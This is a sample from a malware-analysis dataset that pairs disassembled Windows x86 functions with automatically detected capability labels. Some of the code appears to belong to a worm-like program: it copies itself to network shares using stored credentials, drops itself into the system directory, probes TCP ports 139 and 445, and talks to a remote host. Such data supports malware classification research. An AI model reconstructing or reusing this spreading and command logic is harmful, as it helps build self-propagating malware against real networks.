joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401ddb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401dd4
test esi, esi
je 0x401dd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401db0
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401fc0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402010
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4020e8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40204e
cmp eax, 4
jne 0x402070
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40205e
cmp edx, 4
je 0x40205e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401fc0
Function at 0x40273c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403b60
test esi, esi
jne 0x402772
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403c50
jmp 0x402790
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402650
mov edi, eax
test esi, esi
je 0x402790
cmp dword [ebx], 0
je 0x402790
dec esi
jmp 0x402779
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402c18
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4030c4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40315c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40313c
xor eax, eax
push ebp
push 0x403135
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403178
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40313c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x409010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409010], ax
mov esp, ebp
pop ebp
ret

Function at 0x403968
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a034], 0
je 0x4039c9
cmp word [0x40a208], 0xd7b2
jne 0x403991
cmp dword [0x40a210], 0
jbe 0x403991
mov eax, 0x40a204
call dword [0x40a220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x409054
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4039f0
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
pop edx
ret
cmp byte [0x40901c], 0
jne 0x4039e5
push 0
push 0x409074
push 0x409054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403b1c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004024ec
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x40a035], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403ae4
push eax
push esi
push ebx
call sub.KERNEL32.DLL_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x404b3c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, edx
mov eax, ebx
call fcn.00403fc8
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
je 0x404b59
and eax, 0x10
cmp eax, 0x10
je 0x404b5d
xor eax, eax
jmp 0x404b5f
mov al, 1
neg al
sbb eax, eax
pop ebx
ret
Function at 0x404dd4
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403fb8
xor eax, eax
push ebp
push 0x404fd7
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x10]
push 0x404ff0
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403e90
mov dword [ebp - 0x3c], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
call fcn.00403fc8
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
call fcn.00403dd0
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403fc8
push eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA_1
call fcn.00404b68
test eax, eax
je 0x404e7a
mov ax, 3
mov word [ebp - 0xe], 1
jmp 0x404e82
xor eax, eax
mov word [ebp - 0xe], 0
movzx eax, ax
test eax, eax
jl 0x404fac
inc eax
mov dword [ebp - 0x18], eax
mov eax, 0x4090bc
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0xe]
test eax, eax
jl 0x404f9f
inc eax
mov dword [ebp - 0x1c], eax
mov edi, 0x4090b4
push 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.00403fc8
push eax
mov eax, dword [edi]
call fcn.00403fc8
push eax
lea eax, [ebp - 0x40]
push eax
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x404f93
mov esi, 4
mov ebx, 0x4090a4
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.00403d40
lea eax, [ebp - 0x44]
mov edx, dword [ebx]
call fcn.00403dd8
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.00404b3c
test eax, eax
je 0x404f72
push 0
push dword [ebp - 8]
push dword [ebx]
push 0x404ffc
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00403e90
mov eax, dword [ebp - 0x48]
call fcn.00403fc8
push eax
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.0040273c
mov eax, dword [ebp - 0x4c]
call fcn.00403fc8
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x404f72
call fcn.00404b68
test eax, eax
je 0x404f6b
push dword [ebp - 8]
push dword [ebx]
push 0x405010
lea eax, [ebp - 0x50]
mov edx, 3
call fcn.00403e90
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 4]
call fcn.00404b94
mov dword [ebp - 0xc], 0xffffffff
add ebx, 4
dec esi
jne 0x404ede
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x404f93
dec ebx
jne 0x404f81
add edi, 4
dec dword [ebp - 0x1c]
jne 0x404eae
add dword [ebp - 0x20], 4
dec dword [ebp - 0x18]
jne 0x404e99
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404fde
lea eax, [ebp - 0x50]
mov edx, 4
call fcn.00403b84
lea eax, [ebp - 0x14]
call fcn.00403b60
lea eax, [ebp - 8]
call fcn.00403b60
ret
Function at 0x4052cc
Capabilities:
Act as tcp client
Check internet connectivity via wininet
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0xc]
call fcn.00403b60
jmp 0x4052ed
push 0x3e8
call sub.KERNEL32.DLL_Sleep
push 0
push 0
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x4052e3
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40534e
mov eax, dword [ebx + 0xc]
mov edx, 0x405424
call fcn.00403f14
jne 0x40531d
lea eax, [ebx + 0xc]
call fcn.00403b60
jmp 0x405356
mov eax, dword [ebx + 0xc]
mov edx, 0x405430
call fcn.00403f14
jne 0x405339
lea eax, [ebx + 0xc]
mov edx, 0x405424
call fcn.00403bb4
cmp dword [ebx + 0xc], 0
jne 0x405356
lea eax, [ebx + 0xc]
mov edx, 0x405430
call fcn.00403bb4
jmp 0x405356
lea eax, [ebx + 0xc]
call fcn.00403b60
mov eax, ebx
call fcn.00405144
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0xc]
call fcn.00403fc8
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x4053a6
or edi, 0xffffffff
jmp 0x4053e0
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0xc]
call fcn.00403fc8
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x4053e0
or edi, 0xffffffff
test edi, edi
je 0x405403
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x10]
mov ecx, dword [ebx + 0xc]
mov edx, 0x40543c
call fcn.00403e1c
mov eax, ebx
call fcn.0040501c
mov ebp, eax
push 0x200
call sub.KERNEL32.DLL_Sleep
jmp 0x4052ed
Function at 0x405a38
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403fb8
xor eax, eax
push ebp
push 0x405b7f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00403b60
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x405b4a
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.00403fc8
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x405b40
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x405b36
cmp dword [ebp - 4], 0
jne 0x405b22
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x198]
call fcn.00403d40
mov edx, dword [ebp - 0x198]
mov eax, 0x405b98
call fcn.004040b0
dec eax
je 0x405b35
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x19c]
call fcn.00403d40
mov edx, dword [ebp - 0x19c]
mov eax, 0x405ba4
call fcn.004040b0
dec eax
je 0x405b35
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00403d40
jmp 0x405b40
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00403d40
inc ebx
cmp dword [esi + ebx*4], 0
jne 0x405ab3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405b54
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b86
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.00403b84
lea eax, [ebp - 4]
call fcn.00403b60
ret
Function at 0x407ab4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403fb8
mov eax, dword [ebp - 8]
call fcn.00403fb8
mov ebx, dword [0x40911c]
xor eax, eax
push ebp
push 0x407c43
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.00405a38
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.00403bf8
push 0x40a938
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx], eax
mov word [0x40aac8], 2
mov eax, dword [ebp - 8]
call fcn.00405ddc
push eax
call sub.wsock32.dll_htons
mov word [0x40aaca], ax
mov eax, dword [ebp - 4]
call fcn.00403fc8
push eax
call sub.wsock32.dll_inet_addr
mov dword [0x40aacc], eax
push 0x10
push 0x40aac8
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_connect
mov eax, dword [0x409114]
mov byte [eax], 1
lea edx, [ebp - 0x14]
mov eax, dword [0x40912c]
mov eax, dword [eax]
call fcn.004057d8
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
call fcn.00405e30
push 0x407c5c
push dword [ebp - 0xc]
push 0x407c6c
push dword [ebp - 0xc]
push 0x407c78
push dword [ebp - 4]
push 0x407c8c
push dword [ebp - 0xc]
push 0x407c98
lea eax, [ebp - 0x18]
mov edx, 9
call fcn.00403e90
mov edx, dword [ebp - 0x18]
mov eax, dword [ebx]
call fcn.004058c0
call fcn.0040279c
push 0x407ca4
lea edx, [ebp - 0x20]
mov eax, dword [0x40912c]
mov eax, dword [eax]
call fcn.004057d8
push dword [ebp - 0x20]
push 0x407c98
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403e90
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebx]
call fcn.004058c0
mov esi, 1
push 0
push 0x8ca1
push 0x40aad8
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_recv
dec eax
jge 0x407c21
mov eax, dword [ebx]
call fcn.004058a4
mov eax, dword [0x409140]
mov byte [eax], 0
jmp 0x407c28
call fcn.00405e64
jmp 0x407bf9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407c4a
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00403b84
ret
Function at 0x408394
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd1c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x2e4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403fb8
lea ebx, [ebp - 0x2e0]
xor eax, eax
push ebp
push 0x40853c
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00402aac
mov eax, ebx
call fcn.00402830
call fcn.004025e0
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00402d5c
call fcn.004025e0
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.00402d5c
mov eax, ebx
call fcn.00402dc8
call fcn.004025e0
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.00403bf8
mov edx, dword [ebp - 0x14]
mov eax, dword [0x409108]
call fcn.004040b0
test eax, eax
jg 0x408516
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00402d5c
call fcn.004025e0
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.00402d5c
mov eax, ebx
call fcn.00402dc8
call fcn.004025e0
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.00403bf8
mov edx, dword [ebp - 0x14]
mov eax, dword [0x409108]
call fcn.004040b0
test eax, eax
jg 0x408516
mov eax, ebx
call fcn.00402bc0
call fcn.004025e0
test al, al
je 0x40842e
mov eax, ebx
call fcn.00402b68
call fcn.004025e0
push 0xff
lea eax, [ebp - 0x114]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 8]
lea edx, [ebp - 0x114]
mov ecx, pe_nt_image_headers32
call fcn.00403db8
lea eax, [ebp - 8]
mov edx, 0x408554
call fcn.00403dd8
push 0
mov eax, dword [ebp - 8]
call fcn.00403fc8
push eax
lea edx, [ebp - 0x2e4]
xor eax, eax
call fcn.0040273c
mov eax, dword [ebp - 0x2e4]
call fcn.00403fc8
push eax
call sub.KERNEL32.DLL_CopyFileA
xor eax, eax
push ebp
push 0x40850c
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00407f30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x408516
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408543
lea eax, [ebp - 0x2e4]
call fcn.00403b60
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403b84
ret
Function at 0x408560
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403fb8
xor eax, eax
push ebp
push 0x408625
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4138a4]
call fcn.00403fc8
mov dword [ebp - 8], eax
push 0xa
mov eax, dword [ebp - 4]
call fcn.00403fc8
push eax
mov eax, dword [0x40a700]
push eax
call sub.KERNEL32.DLL_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x40860f
push ebx
mov eax, dword [0x40a700]
push eax
call sub.KERNEL32.DLL_SizeofResource
mov edi, eax
test edi, edi
je 0x40860f
push ebx
mov eax, dword [0x40a700]
push eax
call sub.KERNEL32.DLL_LoadResource
test eax, eax
je 0x40860f
push eax
call sub.KERNEL32.DLL_LockResource
mov esi, eax
test esi, esi
je 0x40860f
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40860f
push 0
lea eax, [ebp - 0xc]
push eax
push edi
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile_1
push ebx
call sub.KERNEL32.DLL_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40862c
lea eax, [ebp - 4]
call fcn.00403b60
ret

Function at 0x408c40
Capabilities:
Copy file
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, 0x408bd0
call fcn.004046e8
xor eax, eax
push ebp
push 0x408d81
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x409108]
call fcn.00403fc8
push eax
push 0xffffffffffffffff
push 0
call fcn.004047bc
call sub.KERNEL32.DLL_GetLastError_1
cmp eax, 0xb7
jne 0x408c8a
push 0
call sub.KERNEL32.DLL_ExitProcess_1
push 0x4139b8
push 0
push 0
push 0x407d24
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
push 0x4139b8
push 0
push 0
push 0x408b20
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
push 0xff
push 0x4138b4
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov eax, 0x4138a4
mov edx, 0x4138b4
mov ecx, pe_nt_image_headers32
call fcn.00403db8
mov eax, 0x4138a4
mov edx, 0x408d98
call fcn.00403dd8
mov eax, 0x408dac
call fcn.00408560
mov eax, 0x4139b4
mov edx, 0x4138b4
mov ecx, pe_nt_image_headers32
call fcn.00403db8
mov eax, 0x4139b4
mov edx, 0x408dbc
call fcn.00403dd8
push 0
mov eax, dword [0x4139b4]
call fcn.00403fc8
push eax
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.0040273c
mov eax, dword [ebp - 0x14]
call fcn.00403fc8
push eax
call sub.KERNEL32.DLL_CopyFileA
push 0x408dc8
push 0x408dd4
push 0x408dec
push 0x408df4
call sub.KERNEL32.DLL_WritePrivateProfileStringA
mov ecx, 0x408e04
mov edx, 0x408e10
mov eax, 0x408e1c
call fcn.004089b4
jmp 0x408d69
Function at 0x404af0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x409170]
cmp ax, 0xcb
je 0x404bec
cmp ax, 0xcc
je 0x404bec
mov edx, dword [0x417590]
test edx, edx
je 0x404b22
mov eax, dword [0x417430]
call edx
mov ebx, eax
jmp 0x404b27
mov ebx, 0x417434
cmp word [0x417420], 0
jle 0x404b4a
mov eax, 0x417400
call fcn.00404d60
mov eax, ebx
call fcn.004046d0
mov eax, ebx
call fcn.00404740
mov edi, dword [ebx]
jmp 0x404b6a
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x404b65
mov edx, edi
mov eax, ebx
call fcn.00403ba0
jmp 0x404b68
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x404b50
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x417420], 0
jle 0x404bec
mov edx, 0x417340
mov eax, ebx
call fcn.00403cd0
mov edi, eax
test edi, edi
je 0x404bbf
mov eax, dword [0x4173d4]
mov dword [edi + 0xc], eax
cmp dword [0x4173d4], 0
je 0x404bb4
mov eax, dword [0x4173d4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x4173d4], eax
sub word [0x417420], 1
cmp word [0x417420], 0
sete bl
mov eax, 0x417400
call fcn.00404d70
test bl, bl
je 0x404bec
mov eax, 0x417400
call fcn.00404d50
pop edi
pop esi
pop ebx
ret

Function at 0x407a70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 8], eax
mov esi, esi
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004079e0
test al, al
jne 0x407a9f
jmp 0x407aa1
jmp 0x407aab
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x407a88
mov eax, dword [ebp - 4]
leave
ret
Function at 0x4081c0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x88]
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x5c], 8
mov dword [ebp - 0x58], 2
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x50], 0x10
mov dword [ebp - 0x4c], pe_nt_image_headers32
mov dword [ebp - 0x48], 0x20
mov dword [ebp - 0x44], 0x40
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30]
mov dword [ebp - 8], eax
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [eax + 0x30]
mov eax, dword [edx + 0x3c]
lea eax, [ecx + eax]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
lea eax, [eax + 0xf8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
lea ebx, [eax - 1]
mov dword [ebp - 0x24], 0
cmp ebx, dword [ebp - 0x24]
jb 0x408390
sub dword [ebp - 0x24], 1
mov esi, esi
add dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x24]
imul edx, eax, 0x28
mov eax, dword [ebp - 0x10]
lea esi, [edx + eax]
lea edi, [ebp - 0x88]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x3c]
or eax, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x408292
jmp 0x408297
jmp 0x408387
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
and eax, 0x2000000
test eax, 0xffffffff
jne 0x4082ae
jmp 0x4082c4
push 0x4000
push dword [ebp - 0x30]
push dword [ebp - 0x40]
mov eax, dword [ebp - 4]
call dword [eax + 8]
jmp 0x408387
mov eax, dword [ebp - 0x34]
and eax, 0x20000000
test eax, 0xffffffff
jne 0x4082d5
jmp 0x4082de
mov dword [ebp - 0x14], 1
jmp 0x4082e5
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x34]
and eax, 0x40000000
test eax, 0xffffffff
jne 0x4082f6
jmp 0x4082ff
mov dword [ebp - 0x18], 1
jmp 0x408306
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x34]
and eax, 0x80000000
test eax, 0xffffffff
jne 0x408317
jmp 0x408320
mov dword [ebp - 0x1c], 1
jmp 0x408327
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x34]
and eax, 0x4000000
test eax, 0xffffffff
jne 0x408338
jmp 0x408341
mov dword [ebp - 0x20], 1
jmp 0x408348
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x14]
shl eax, 4
mov ecx, dword [ebp - 0x18]
lea eax, [ebp + eax - 0x60]
mov edx, dword [ebp - 0x1c]
lea eax, [eax + ecx*8]
mov eax, dword [eax + edx*4]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x20], 1
je 0x408369
jmp 0x408374
mov eax, dword [ebp - 0x28]
or eax, 0x200
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x28]
push dword [ebp - 0x30]
push dword [ebp - 0x40]
mov eax, dword [ebp - 4]
call dword [eax + 4]
cmp ebx, dword [ebp - 0x24]
ja 0x40825c
pop edi
pop esi
pop ebx
leave
ret